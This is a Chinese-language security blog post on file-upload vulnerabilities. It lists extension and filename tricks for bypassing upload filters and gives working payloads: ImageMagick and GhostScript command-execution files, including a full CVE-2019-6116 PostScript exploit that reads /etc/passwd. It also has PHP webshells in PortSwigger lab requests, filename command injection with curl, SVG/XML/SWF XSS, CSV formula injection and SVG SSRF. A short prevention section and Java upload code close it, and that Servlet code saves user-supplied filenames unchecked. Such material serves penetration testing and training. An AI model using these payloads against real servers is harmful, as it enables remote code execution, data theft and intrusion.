Featured image of post 文件上传漏洞

文件上传漏洞

文件上传漏洞另类利用

1.漏洞介绍

文件上传漏洞是指Web服务器允许用户将文件上传到其文件系统,而不充分验证文件的名称、类型、内容或大小等内容。如果不能正确地执行这些限制,可能意味着即使是基本的图像上传功能也可以用来上传任意的和潜在危险的文件。这甚至可以包括支持远程代码执行的服务器端脚本文件

2.传统的文件上传漏洞

2.1.文件上传黑名单过滤和白名单

白名单:白名单文件上传提示词一般为只允许上传png和jpg文件

黑名单:黑名单一般上传时的提示为禁止上传xxxphp后缀文件

2.2.文件上传后缀扩展名

常见php后缀扩展名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 PHP 环境下有些服务器可能允许上传扩展名为 .php5.phtml 等的文件
这些后缀仍然会被解析为 PHP 脚本因此可以用于绕过检查

.php
.pht
.phtm
.phtml
.phar
.phpt
.pgif
.phps
.phtml
.php2
.php3
.php4
.php5
.php6
.php7
.php16
.inc
<FILE>.php%20
<FILE>.php%0d%0a.jpg
<FILE>.php%0a
<FILE>.php.jpg
<FILE>.php%00.gif
<FILE>.php\x00.gif
<FILE>.php%00.png
<FILE>.php\x00.png
<FILE>.php%00.jpg
<FILE>.php\x00.jpg
mv <FILE>.jpg <FILE>.php\x00.jpg

常见JSP后缀扩展名

1
2
3
4
5
.jsp
.jspx
.jsw
.jsv
.jspf

ASP

1
2
3
4
.asp
.aspx
.cer
.asa

3.文件上传漏洞另类应用

文件上传利用Tips

文件上传的另类应用_github xlsx xxe-CSDN博客

3.1.Imagemagick组件漏洞

ImageMagic是一款图片处理工具,当传入一个恶意图片时,就有可能存在命令注入漏洞。

ImageMagick默认支持一种图片格式mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。

影响ImageMagick 6.9.3-9以前的所有版本

1
2
3
4
5
CVE-2016-3714
CVE-2022-44268
CVE-2020-29599

可在vulhub靶场进行复现

3.1.1.CVE-2016-3714漏洞复现

【漏洞复现】ImageMagick命令注入漏洞(CVE-2016–3714/15/16/17/18)_cve-2016-3714-CSDN博客

创建1个txt文件,文件内容如下,重命名为jpg,上传,查看DNSlog平台是否有数据

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|ping "DNSlog地址)'
pop graphic-context

3.1.2.CVE-2022-44268ImageMagick任意文件读取漏洞

CVE-2022-44268:ImageMagick 7.1.0-49 容易受到信息泄露的攻击。当它解析PNG图像(例如,调整大小)时,生成的图像可能嵌入了任意远程文件的内容(如果ImageMagick二进制文件有权读取它)。

1
2
3
4
EXPhttps://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py

python -m pip install pypng -i https://pypi.tuna.tsinghua.edu.cn/simple
python poc.py generate -o poc.png -r /etc/passwd

将上传图像下载下来,使用脚本进行查看,即可实现任意文件读取

python poc.py generate -o poc.png -r /etc/passwd

3.2.GhostScript

1
2
3
CVE-2018-16509
CVE-2019-6116
CVE-2018-19475

3.2.1.CVE-2018-16509

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
创建1个png图片内容为%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops  上传后查看返回包


POST / HTTP/1.1
Host: 192.168.214.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------331114540028326551992702503634
Content-Length: 442
Origin: http://192.168.214.130:8080
Connection: close
Referer: http://192.168.214.130:8080/
Upgrade-Insecure-Requests: 1

-----------------------------331114540028326551992702503634
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
-----------------------------331114540028326551992702503634--

3.2.2.CVE-2018-19475

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
创建1个png文件内容为%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file直接上传即可

POST / HTTP/1.1
Host: 192.168.214.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------500820396316754453354438613
Content-Length: 328
Origin: http://192.168.214.130:8080
Connection: close
Referer: http://192.168.214.130:8080/
Upgrade-Insecure-Requests: 1

-----------------------------500820396316754453354438613
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
-----------------------------500820396316754453354438613--

3.2.3.CVE-2019-6116

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
POST / HTTP/1.1
Host: 192.168.214.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2714102440226518071136189238
Content-Length: 2775
Origin: http://192.168.214.130:8080
Connection: close
Referer: http://192.168.214.130:8080/
Upgrade-Insecure-Requests: 1

-----------------------------2714102440226518071136189238
Content-Disposition: form-data; name="file_upload"; filename="111.png"
Content-Type: image/png

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%id > /tmp/success) (w) file closefile

(All done.)=

quit
-----------------------------2714102440226518071136189238--

4.Burp靶场文件上传

4.1.实验1:通过Webshell上传远程执行代码

无任何限制,直接上传脚本文件即可获取权限,但是好像上传木马文件无法连接

1
2
直接利用php脚本读取文件内容
<?php echo file_get_contents('/home/carlos/secret'); ?>

4.2.通过 Content-Type 限制绕过上传 Web shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /my-account/avatar HTTP/2
Host: 0a960083046b51c380d0fd8c00300044.web-security-academy.net
Cookie: session=gVRKRg0Wn07r8QzOfBYQq6jbDfLKYXVo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------116495972011795778901939541020
Content-Length: 534
Origin: https://0a960083046b51c380d0fd8c00300044.web-security-academy.net
Referer: https://0a960083046b51c380d0fd8c00300044.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

-----------------------------116495972011795778901939541020
Content-Disposition: form-data; name="avatar"; filename="burp.php"
Content-Type: image/png

<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------116495972011795778901939541020
Content-Disposition: form-data; name="user"

wiener
-----------------------------116495972011795778901939541020
Content-Disposition: form-data; name="csrf"

8SSaYWaf8VlsjPG5N4e4sctA4ZzVbFQC
-----------------------------116495972011795778901939541020--

4.3.通过路径遍历上传 Web shell

没用任何过滤,但是直接上传后不解析php语言

通过更改上传路径实现绕过,跨目录进行文件上传,跨目录时需要url编码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /my-account/avatar HTTP/2
Host: 0aeb00c80306bc758119ca3f0094003c.web-security-academy.net
Cookie: session=wSmJblWurwOYn4bQEKtKlJtSt1CGSxfp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------115336827440672122532867175473
Content-Length: 554
Origin: https://0aeb00c80306bc758119ca3f0094003c.web-security-academy.net
Referer: https://0aeb00c80306bc758119ca3f0094003c.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

-----------------------------115336827440672122532867175473
Content-Disposition: form-data; name="avatar"; filename="..%2fburp.php"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------115336827440672122532867175473
Content-Disposition: form-data; name="user"

wiener
-----------------------------115336827440672122532867175473
Content-Disposition: form-data; name="csrf"

blZH1Ly28wsFcd0RfXErJAS6UUY7tRrN
-----------------------------115336827440672122532867175473--

4.4.通过绕过扩展程序黑名单上传 Web shell

利用.htaccess进行绕过实现getshell,制作.htaccess文件

1
2
AddType application/x-httpd-php .l33t
这将任意扩展名 ( .l33t) 映射到可执行 MIME 类型application/x-httpd-php当服务器使用该mod_php模块时它已经知道如何处理这个问题

上传完成后,上传后缀为.l33t的文件,文件内容为php代码

访问上传的文件即可解析为php文件,实现getshell等操作

4.5.通过混淆文件扩展名上传 Web Shell

上传一个php后缀文件,提示只允许使用JPG和PNG文件,上传一个带php代码的png文件,发现不检测文件内容,和content-type字段

通过修改后缀名,发现是白名单过滤,白名单过滤尝试截断后缀名%00

4.6.通过多语言 Web shell 上传远程执行代码

文件类型 Magic Bytes(二进制值)
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61
PNG 89 50 4E 47
TIF 49 49 2A 00
BMP 42 4D

直接上传一个php后缀文件,提示文件不是有效图片,盲猜验证content-type字段或文件内容,先修改字段头为图片格式

发现将content-type修改为图片字段后还是提示文件不是图片,猜测验证了图片内容,添加图片头

添加图片头后成功上传,查看上传文件内容

**4.7.**通过争用条件上传 Web shell

条件竞争实现绕过:现代框架更能抵御这类攻击。它们通常不会将文件直接上载到文件系统上的预定目的地。相反会采取一些预防措施,比如先上传到一个临时的沙箱目录,然后随机化名称以避免覆盖现有文件。然后对该临时文件执行验证,并仅在认为安全时才将其传输到目标。

使用burp无限重复请求webshell.php地址

自己直接上传webshell.php,利用burp的并发模块重复发送请求,实现条件竞争getshell

5.SRC中文件上传挖掘思路

5.1.文件上传路径可控,任意文件覆盖?

某SRC任意文件上传路径可控导致任意文件覆盖

5.2.文件上传上传到存储桶,泄露存储桶AK/SK?

5.3.文件上传XSS

【技术分享】文件上传XSS漏洞的利用方式

5.3.1.PDFXSS(鸡肋,只能弹窗不能弹Cookie)

xss.pdf

5.3.2.SVGXSS

1
2
3
4
5
6
7
8
https://blog.csdn.net/weixin_50464560/article/details/123841210
https://zhuanlan.zhihu.com/p/323315064
在SVG图片中执行JS代码

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
   <script>alert(1)</script>
</svg>

5.3.3.html文件XSS

如果html XSS实在云存储地址触发一般不收,因为无法跨域,对于上传到云存储的可以找网站CDN地址实现危害提升达到跨域XSS

如果上传在本地一般都有中低危害可以跨域

5.3.4.XML文件XSS

1
2
3
4
5
6
7
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(/xss/);
</something:script>
</body>
</html>

5.3.5.SWF后缀XSS

如果可以上传swf文件的话,可以利用SWFUpload 2.2.x版本存在XSS漏洞进行触发。一般很少碰到可以允许上传swf文件的情况。

1.首先上传swfupload.swf文件,下面附上了下载地址。

1
https://codeload.github.com/ntulip/swfupload-jquery-plugin/zip/refs/heads/master

2.将swfupload.swf文件进行上传,然后构造以下POC进行触发XSS漏洞

1
swfupload.swf?movieName="%5d%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28/xss/%29;//

5.4.文件上传XXE

上传表格时可以进行测试

利用EXCEL进行XXE攻击 - 先知社区

5.4.1.xlsx xxe制作

新建1个xlsx文件,重命名为xxe.zip,解压

解压后会产生这几个文件此时修改xl/workbook.xml并将以下内容插入第2行和第3行

再次将文件压缩成xlsx文件,上传后看看dnslog地址有没有接收到请求

5.5.导出CSV或Excel文件导致的本地命令执行

实战 | 登录处前台绕过getshell

OWASP TOP 10 系列:CSV公式注入

1
=1+cmd|' /C calc'!A0

5.6.远程图片加载+svg ssrf

https://zhuanlan.zhihu.com/p/58271790

1
<?xm l version="1.0" encoding="UTF-8" standalone="no"?><svg xm lns:svg="http://www.w3.org/2000/svg" xm lns="http://www.w3.org/2000/svg" xm lns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="30" width="30" xlink:href="http://DNSlog/" /></svg>

5.7.文件上传RCE

有些文件上传时系统会对上传文件进行重命名此时会调用system命令,此时我们可以在文件名后面尝试执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /AjaxService/Upload.aspx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------361231835115122267584155400789
Content-Length: 359
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------361231835115122267584155400789
Content-Disposition: form-data; name="Fdata"; filename="test.jpg"
Content-Type: image/jpeg

1.png || curl dnslog.com || .jpg                           

-----------------------------361231835115122267584155400789
Content-Disposition: form-data; name="submit"

Submin
-----------------------------361231835115122267584155400789--

5.8.上传zip导致的任意文件读取漏洞

https://www.youtube.com/watch?v=mnUaDCNaYwg

https://www.youtube.com/watch?v=mnUaDCNaYwg

http://v627ichb6z394aaa73tmjw5l6cc30uoj.oastify.com/

上传文件getshell时可以先上传后缀为1.a文件,如果能够正常上传的话,直接访问上传文件,看是否会下载,如果直接访问下载那么就不用尝试能否getshell

6.文件上传Bypass

分块传输

WAF HTTP协议覆盖+分块传输组合绕过-腾讯云开发者社区-腾讯云

实战 | Post文件上传WAF Bypass总结

实战攻防-艰难打点之bypass绕过文件上传

三个bypass案例分享

文件上传漏洞 详细教程(最全讲解)-CSDN博客

技巧收集之文件上传:WAF绕过

文件上传绕过的一次思路总结(两个上传点组合Getshell)_asp文件上传绕过-CSDN博客

6.1.filename改造

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
其余情况下一般是对两个Content-Type和Content-Disposition字段做手脚构造畸形包比如说filename多个等于号单引号替换取消引号

filename==================="1.php"
filename=1.php
filename='1.php'
Content-Disposition: form-data; name="fileField";aaaaaaaaaaaa*10000filename="1.php"

filename重写
filename=shell.jpg;filename=shell.jspx;
filename=shell.jspx;filename=shell.jpg;

大小写
FileName=shell.jspx.jsp'

或者 重复和扩充Content-Disposition字段(另一种形式的垃圾参数),与此形式相同的还有重复filename:

1
2
3
4
5
6
dwgdywisjngeruiwehwoeclms*10000 form-data; name="fileField"; filename="1.asp"

Content-Disposition: form-data; name="fileField"; filename="1.jpg"; filename="1.asp"

文件名垃圾参数
filename="aaaaaaaaaaaaaaaaaaaaaa*1000.php"

换行/空格/回车

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
filename="1.a
s
p"

filename="1.asp "

filename="1.............................asp"

文件名字编码filename一般为后端接收参数编码了可能识别不到这个就看情况
filename=\u0073\u0068\u0065\u006c\u006c\u002e\u006a\u0073\u0070

filename前后加空白字符( %20、%89、%8a、%8b、%0c、%0d、%1c、%1d、%1e、%1f)(对Java):

1
%0afilename%0a="1.php"

对于第一个Content-Type,boundary中的垃圾参数:

1
Content-Type: multipart/form-data; boundary这里插入什么都行=---------------------------4079122257244583541876801944

甚至插入 application/x-www-form-urlencoded :

1
Content-Type: multipart/form-data; boundaryapplication/x-www-form-urlencoded=---------------------------4079122257244583541876801944

7.文件上传漏洞预防

1
2
3
4
1.根据允许的扩展名白名单而不是禁止的扩展名黑名单检查文件扩展名
2.重命名上传的文件以避免可能导致现有文件被覆盖的冲突
3.在文件经过完全验证之前不要将文件上传到服务器的永久文件系统
4.尽可能使用已建立的框架来预处理文件上传而不是尝试编写自己的验证机制

8.Java文件上传

8.1.Spring架构实现文件上传

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<!--
文件上传类型必须为file
文件上传方式必须为POST
文件上传编码格式enctype必须为:multipart/form-data
-->
<form action="/upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="上传">
</form>
</body>
</html>

@Controller
@Slf4j
public class UploadController {
    @PostMapping("/upload")
    public void upload(@RequestParam("file") MultipartFile file) throws IOException {
        log.info("文件名:{}",file.getOriginalFilename());
        log.info("文件大小:{}",file.getSize());
        //        获取上传的原始文件名
        String Filename = file.getOriginalFilename();
        System.out.println(Filename);
        //将接收的文件存储到本地磁盘目录中
        file.transferTo(new File("E:\\image\\"+Filename));
    }
}

备注: WEB-INF 目录为 JAVA WEB 中安全目录,该目录仅允许服务端访问,客户端无法访问。该目录下 有 web.xml 文件。

springboot项目默认不解析JSP内容,如果想要SpringBoot解析JSP页面,需要引入对应的依赖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>4.0.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
        </dependency>

在 spring配置文件添加一些配置信息

1
2
3
4
5
spring:
  mvc:
    view:
      prefix: /jsp/
      suffix: .jsp

注意:webapp目录不能放在resource目录下,不然会不解析,要和resource目录平级


8.2.原生Servlet实现文件上传功能

ServletFileUpload 方式文件上传依赖 commons-fileupload 组件。

对于 commons-fileupload 组件介绍:FileUpload依据规范RFC1867基于表单的 HTML 文件上载

上传的文件数据进行解析,解析出来的每个项目对应一个 FileItem 对象。

每个 FileItem 都有我们可能所需的属性:获取contentType,获取原本的文件名,获取文件大小,获取

FiledName(如果是表单域上传),判断是否在内存中,判断是否属于表单域等。

FileUpload使用FileItemFactory创建新的FileItem。该工厂可以控制每个项目的创建方式。目前提供的工

厂实现可以将项目的数据存储临时存储在内存或磁盘上,具体取决于项目的大小(即数据字节,在指定

的大小内时,存在内存中,超出范围,存在磁盘上)。

FileUpload 又依赖于 Commons IO。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>compile</scope>
    </dependency>
    <dependency>
      <groupId>commons-fileupload</groupId>
      <artifactId>commons-fileupload</artifactId>
      <version>1.4</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
    <dependency>
      <groupId>commons-io</groupId>
      <artifactId>commons-io</artifactId>
      <version>2.4</version>
    </dependency>
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.List;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.ProgressListener;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;


/**
 * @author powerful
 */
public class FileUploadServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            //得到上传文件的保存目录。 将上传的文件存放于WEB-INF目录下,不允许外界直接访问,保证上传文件的安全
            String realPath = this.getServletContext().getRealPath("/upload");//  /WEB-INF/files
            System.out.println("文件存放位置:"+realPath);
            //设置临时目录。 上传文件大于缓冲区则先放于临时目录中
            String tempPath = "C:\\Users\\24767\\Desktop\\Java代码审计\\课件\\Java 文件操作之文件上传\\课件\\servletDemo\\src\\main\\webapp";
            System.out.println("临时文件存放位置:"+tempPath);


            //判断存放上传文件的目录是否存在(不存在则创建)
            File f = new File(realPath);
            if(!f.exists()&&!f.isDirectory()){
                System.out.println("目录或文件不存在! 创建目标目录。");
                f.mkdir();
            }
            //判断临时目录是否存在(不存在则创建)
            File f1 = new File(tempPath);
            if(!f1.isDirectory()){
                System.out.println("临时文件目录不存在! 创建临时文件目录");
                f1.mkdir();
            }

            /**
             * 使用Apache文件上传组件处理文件上传步骤:
             *
             * */
            //1、设置环境:创建一个DiskFileItemFactory工厂
            DiskFileItemFactory factory = new DiskFileItemFactory();

            //设置上传文件的临时目录
            factory.setRepository(f1);

            //2、核心操作类:创建一个文件上传解析器。
            ServletFileUpload upload = new ServletFileUpload(factory);
            //解决上传"文件名"的中文乱码
            upload.setHeaderEncoding("UTF-8");

            //3、判断enctype:判断提交上来的数据是否是上传表单的数据
            if(!ServletFileUpload.isMultipartContent(req)){
                System.out.println("不是上传文件,终止");
                //按照传统方式获取数据
                return;
            }

            //==获取输入项==
//            //限制单个上传文件大小(5M)
//            upload.setFileSizeMax(1024*1024*4);
//            //限制总上传文件大小(10M)
//            upload.setSizeMax(1024*1024*6);

            //4、使用ServletFileUpload解析器解析上传数据,解析结果返回的是一个List<FileItem>集合,每一个FileItem对应一个Form表单的输入项
            List<FileItem> items =upload.parseRequest(req);
            for(FileItem item:items){
                //如果fileitem中封装的是普通输入项的数据(输出名、值)
                if(item.isFormField()){
                    String filedName = item.getFieldName();//普通输入项数据的名
                    //解决普通输入项的数据的中文乱码问题
                    String filedValue = item.getString("UTF-8");//普通输入项的值
                    System.out.println("普通字段:"+filedName+"=="+filedValue);
                }else{
                    //如果fileitem中封装的是上传文件,得到上传的文件名称,
                    String fileName = item.getName();//上传文件的名
                    //多个文件上传输入框有空 的 异常处理
                    if(fileName==null||"".equals(fileName.trim())){  //去空格是否为空
                        continue;// 为空,跳过当次循环,  第一个没输入则跳过可以继续输入第二个
                    }

                    //注意:不同的浏览器提交的文件名是不一样的,有些浏览器提交上来的文件名是带有路径的,如:  c:\a\b\1.txt,而有些只是单纯的文件名,如:1.txt
                    //处理上传文件的文件名的路径,截取字符串只保留文件名部分。//截取留最后一个"\"之后,+1截取向右移一位("\a.txt"-->"a.txt")
                    fileName = fileName.substring(fileName.lastIndexOf("\\")+1);
                    //拼接上传路径。存放路径+上传的文件名
                    String filePath = realPath+"\\"+fileName;
                    //构建输入输出流
                    InputStream in = item.getInputStream(); //获取item中的上传文件的输入流
                    OutputStream out = new FileOutputStream(filePath); //创建一个文件输出流

                    //创建一个缓冲区
                    byte b[] = new byte[1024];
                    //判断输入流中的数据是否已经读完的标识
                    int len = -1;
                    //循环将输入流读入到缓冲区当中,(len=in.read(buffer))!=-1就表示in里面还有数据
                    while((len=in.read(b))!=-1){  //没数据了返回-1
                        //使用FileOutputStream输出流将缓冲区的数据写入到指定的目录(savePath+"\\"+filename)当中
                        out.write(b, 0, len);
                    }
                    //关闭流
                    out.close();
                    in.close();
                    //删除临时文件
                    try {
                        Thread.sleep(3000);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                    item.delete();//删除处理文件上传时生成的临时文件
                    System.out.println("文件上传成功");
                }
            }
        } catch (FileUploadException e) {
            //e.printStackTrace();
            throw new RuntimeException("服务器繁忙,文件上传失败");
        }
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }
}

文件上传扩展项目:https://github.com/xiaonongOne/springboot-upload

https://github.com/gaoyuyue/MyUploader-Backend

By Lsec
最后更新于 Sep 02, 2025 11:16 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ